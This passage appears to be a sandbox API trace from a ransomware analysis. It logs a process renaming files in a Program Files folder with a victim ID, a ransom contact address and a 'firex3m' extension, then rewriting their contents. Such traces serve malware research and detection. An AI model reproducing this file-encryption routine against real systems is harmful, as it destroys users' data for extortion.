lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x433ff0c*=0x180, lpOverlapped=0x0) returned 1 [0218.945] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.945] WriteFile (in: hFile=0x69c, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.945] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.945] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.945] CloseHandle (hObject=0x69c) returned 1 [0218.945] GetProcessHeap () returned 0x630000 [0218.945] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0218.945] GetProcessHeap () returned 0x630000 [0218.945] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0218.946] GetProcessHeap () returned 0x630000 [0218.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0218.946] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.946] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\he-IL\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f33bd1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x48723b3d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0xb1c7496, dwReserved1=0x6860c0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5440 [0218.946] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0218.946] Sleep (dwMilliseconds=0x1) [0220.349] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x433ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastreviewsettings.xml") returned 1 [0220.349] GetProcessHeap () returned 0x630000 [0220.349] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5134) returned 0x6fe3bb0 [0220.349] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0220.350] CloseHandle (hObject=0x4c0) returned 1 [0220.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0220.350] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0220.351] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5380 [0220.351] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0220.351] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nb-no\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0220.352] GetProcessHeap () returned 0x630000 [0220.352] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa618 [0220.352] GetProcessHeap () returned 0x630000 [0220.352] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa090 [0220.352] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.352] ReadFile (in: hFile=0x4c0, lpBuffer=0x74aa618, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa618*, lpNumberOfBytesRead=0x433ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0220.354] GetProcessHeap () returned 0x630000 [0220.354] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0220.354] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.354] WriteFile (in: hFile=0x4c0, lpBuffer=0x74aa090*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa090*, lpNumberOfBytesWritten=0x433ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0220.355] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.355] WriteFile (in: hFile=0x4c0, lpBuffer=0x74aa22f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa22f*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0220.355] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.355] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0220.355] CloseHandle (hObject=0x4c0) returned 1 [0220.355] GetProcessHeap () returned 0x630000 [0220.355] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa090 | out: hHeap=0x630000) returned 1 [0220.355] GetProcessHeap () returned 0x630000 [0220.355] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa618 | out: hHeap=0x630000) returned 1 [0220.355] GetProcessHeap () returned 0x630000 [0220.355] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0220.355] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0220.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x494b312b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x433fd20, dwReserved1=0x74aa618, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4ec0 [0220.356] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0220.356] Sleep (dwMilliseconds=0x1) [0221.970] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgradeth2.xml", len=0x82 | out: pbstr=0x433ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgradeth2.xml") returned 1 [0221.970] GetProcessHeap () returned 0x630000 [0221.970] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5198) returned 0x6fe3bb0 [0221.970] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0225.936] CloseHandle (hObject=0x6f4) returned 1 [0225.936] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.937] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0225.938] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929796cf, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x929796cf, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x320068, dwReserved1=0x78002e, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0225.939] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0225.939] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sr-latn-rs\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0225.939] GetProcessHeap () returned 0x630000 [0225.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3920 [0225.939] GetProcessHeap () returned 0x630000 [0225.939] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f4528 [0225.939] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.939] ReadFile (in: hFile=0x3f8, lpBuffer=0x6f3920, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3920*, lpNumberOfBytesRead=0x433ff0c*=0x180, lpOverlapped=0x0) returned 1 [0225.941] GetProcessHeap () returned 0x630000 [0225.941] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176b10 [0225.941] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.941] WriteFile (in: hFile=0x3f8, lpBuffer=0x6f4528*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4528*, lpNumberOfBytesWritten=0x433ff0c*=0x180, lpOverlapped=0x0) returned 1 [0225.941] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.941] WriteFile (in: hFile=0x3f8, lpBuffer=0x6f46a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f46a7*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.942] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.942] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.942] CloseHandle (hObject=0x3f8) returned 1 [0225.942] GetProcessHeap () returned 0x630000 [0225.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f4528 | out: hHeap=0x630000) returned 1 [0225.942] GetProcessHeap () returned 0x630000 [0225.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3920 | out: hHeap=0x630000) returned 1 [0225.942] GetProcessHeap () returned 0x630000 [0225.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176b10 | out: hHeap=0x630000) returned 1 [0225.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sr-Latn-RS\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x929796cf, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x929796cf, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c9e5689, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1b4, dwReserved0=0x433fd20, dwReserved1=0x6f3920, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0225.954] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0225.954] Sleep (dwMilliseconds=0x1) [0226.005] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x433ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgradeth2.xml") returned 1 [0226.005] GetProcessHeap () returned 0x630000 [0226.005] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5164) returned 0x6fe3bb0 [0226.005] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0226.005] CloseHandle (hObject=0x6ec) returned 1 [0226.005] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.006] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.006] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.006] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fc6c | out: lpFindFileData=0x433fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x187, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5500 [0226.007] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0226.007] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0226.007] GetProcessHeap () returned 0x630000 [0226.007] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3768 [0226.007] GetProcessHeap () returned 0x630000 [0226.007] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6f3ad8 [0226.007] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.007] ReadFile (in: hFile=0x6ec, lpBuffer=0x6f3768, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3768*, lpNumberOfBytesRead=0x433ff0c*=0x180, lpOverlapped=0x0) returned 1 [0226.009] GetProcessHeap () returned 0x630000 [0226.009] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71774e8 [0226.009] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.009] WriteFile (in: hFile=0x6ec, lpBuffer=0x6f3ad8*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3ad8*, lpNumberOfBytesWritten=0x433ff0c*=0x180, lpOverlapped=0x0) returned 1 [0226.009] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.010] WriteFile (in: hFile=0x6ec, lpBuffer=0x6f3c57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3c57*, lpNumberOfBytesWritten=0x433ff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.010] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.010] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x433ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x433ff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.010] CloseHandle (hObject=0x6ec) returned 1 [0226.010] GetProcessHeap () returned 0x630000 [0226.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3ad8 | out: hHeap=0x630000) returned 1 [0226.010] GetProcessHeap () returned 0x630000 [0226.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3768 | out: hHeap=0x630000) returned 1 [0226.010] GetProcessHeap () returned 0x630000 [0226.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71774e8 | out: hHeap=0x630000) returned 1 [0226.010] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x433ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.010] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x433fcc4 | out: lpFindFileData=0x433fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93007e14, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93007e14, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4caa41f2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x433fd20, dwReserved1=0x6f3768, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0226.011] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0226.011] Sleep (dwMilliseconds=0x1) [0226.053] SysReAllocStringLen (in: pbstr=0x433ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x433ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgrade.xml") returned 1 [0226.054] GetProcessHeap () returned 0x630000 [0226.054] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x518c) returned 0x6fe3bb0 [0226.054] CreateFileW (lpFileName="C:\\Program 